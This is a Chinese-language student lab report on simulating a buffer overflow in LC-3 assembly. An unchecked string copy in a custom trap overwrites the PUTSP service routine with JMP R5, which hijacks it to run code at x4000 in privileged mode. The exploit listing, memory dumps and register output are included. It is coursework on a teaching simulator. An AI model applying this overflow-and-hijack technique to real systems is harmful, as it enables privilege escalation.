

Lab 5: Break the Barrier 实验报告

学生信息

姓名：黄雯佩 学号：PB24111630

1. 实验目的

本实验旨在通过 LC-3 汇编语言模拟缓冲区溢出攻击。通过利用不安全的字符串拷贝机制，突破用户态限制，在特权模式下运行恶意代码，理解缓冲区溢出原理、特权级管理、中断服务程序劫持。

2. 实验过程

2.1 攻击逻辑实现步骤

- 1. **恶意代码部署**：将目标“恶意”程序放置在x4000 地址处，该程序将在特权模式下输出 "I made it!"。
- 2. **构造 Payload**：构造一个以 x032C 开始的字符串。填充前 20 个字（x032C 至 x033F）以填满 IN 指令的提示信息缓冲区。在第 21 个位置（即 x0340，PUTSP 的入口地址）写入 JMP R5 指令（机器码 xC140）。
- 3. **触发溢出**：将恶意程序的入口地址 x4000 加载到 R5。调用 TRAP x30。该自定义陷阱程序会将 R0 指向的 Payload 拷贝至 x032C，由于未检查长度，会溢出并覆盖 x0340 处的 PUTSP 代码。
- 4. **执行劫持**：调用 TRAP x24 (PUTSP)。此时系统跳转至 x0340 执行，运行我们注入的 JMP R5，从而跳转到 x4000 以特权模式执行。

2.2 遇到的问题 and 解决办法

如何启动x0340处的程序

观察LC3tools的初始状态发现，x0024处存储了x0340，因此通过TRAP x24进行跳转

单步运行后认为 x032C 到 x0341 的值没有改变

实际上内存的值已经变了，只是注释没有变。

U	▶	x032A	x8000	32 / 68	RTI
①	▶	x032B	x000A	10	
①	▶	x032C	x032C	812	I
①	▶	x032D	x032D	813	n
①	▶	x032E	x032E	814	p
①	▶	x032F	x032F	815	u
①	▶	x0330	x0330	816	t
①	▶	x0331	x0331	817	
①	▶	x0332	x0332	818	a
①	▶	x0333	x0333	819	
①	▶	x0334	x0334	820	c
①	▶	x0335	x0335	821	h
①	▶	x0336	x0336	822	a
①	▶	x0337	x0337	823	r
①	▶	x0338	x0338	824	a
①	▶	x0339	x0339	825	c
①	▶	x033A	x033A	826	t
①	▶	x033B	x033B	827	e
①	▶	x033C	x033C	828	r
①	▶	x033D	x033D	829	>

执行 TRAP 指令后 R6 寄存器的值改变

x0340 处存储 JMP R5，而不是 JMP R6，用 R5 储存 x4000 的地址。
因为执行 TRAP 指令时，由用户模式切换到特权模式，R6 需要存储栈指针。

3. 实验结果

Registers			
R0	x0000	0	
R1	x7FFF	32767	
R2	x0000	0	
R3	x0000	0	
R4	x0000	0	
R5	x4000	16384	
R6	x2FFC	12284	
R7	x0000	0	
PSR	x0002	2	CC: Z
PC	x036C	876	
MCR	x0000	0	

Console (click to focus)

I made it!

--- Halting the LC-3 ---

□

Memory			
▶ x3000	x2804	10756	LD R5, GOAL_ADDR
▶ x3001	x8004	57340	LEA R0, PAYLOAD
▶ x3002	xF030	61408	TRAP x30
▶ x3003	xF024	61476	TRAP x24
▶ x3004	xF025	61477	HALT
▶ x3005	x4000	16384	GOAL_ADDR .FILL x4000
▶ x3006	x032C	812	PAYLOAD .FILL x032C
▶ x3007	x032D	813	.FILL x032D
▶ x3008	x032E	814	.FILL x032E
▶ x3009	x032F	815	.FILL x032F
▶ x300A	x0330	816	.FILL x0330
▶ x300B	x0331	817	.FILL x0331
▶ x300C	x0332	818	.FILL x0332
▶ x300D	x0333	819	.FILL x0333
▶ x300E	x0334	820	.FILL x0334
▶ x300F	x0335	821	.FILL x0335
▶ x3010	x0336	822	.FILL x0336
▶ x3011	x0337	823	.FILL x0337
▶ x3012	x0338	824	.FILL x0338
▶ x3013	x0339	825	.FILL x0339
▶ x3014	x033A	826	.FILL x033A
▶ x3015	x033B	827	.FILL x033B
▶ x3016	x033C	828	.FILL x033C
▶ x3017	x033D	829	.FILL x033D

TRAP x30 执行后，JMP R5 成功存储到地址 x0340，TRAP x24 后跳转到 x4000，输出 I made it!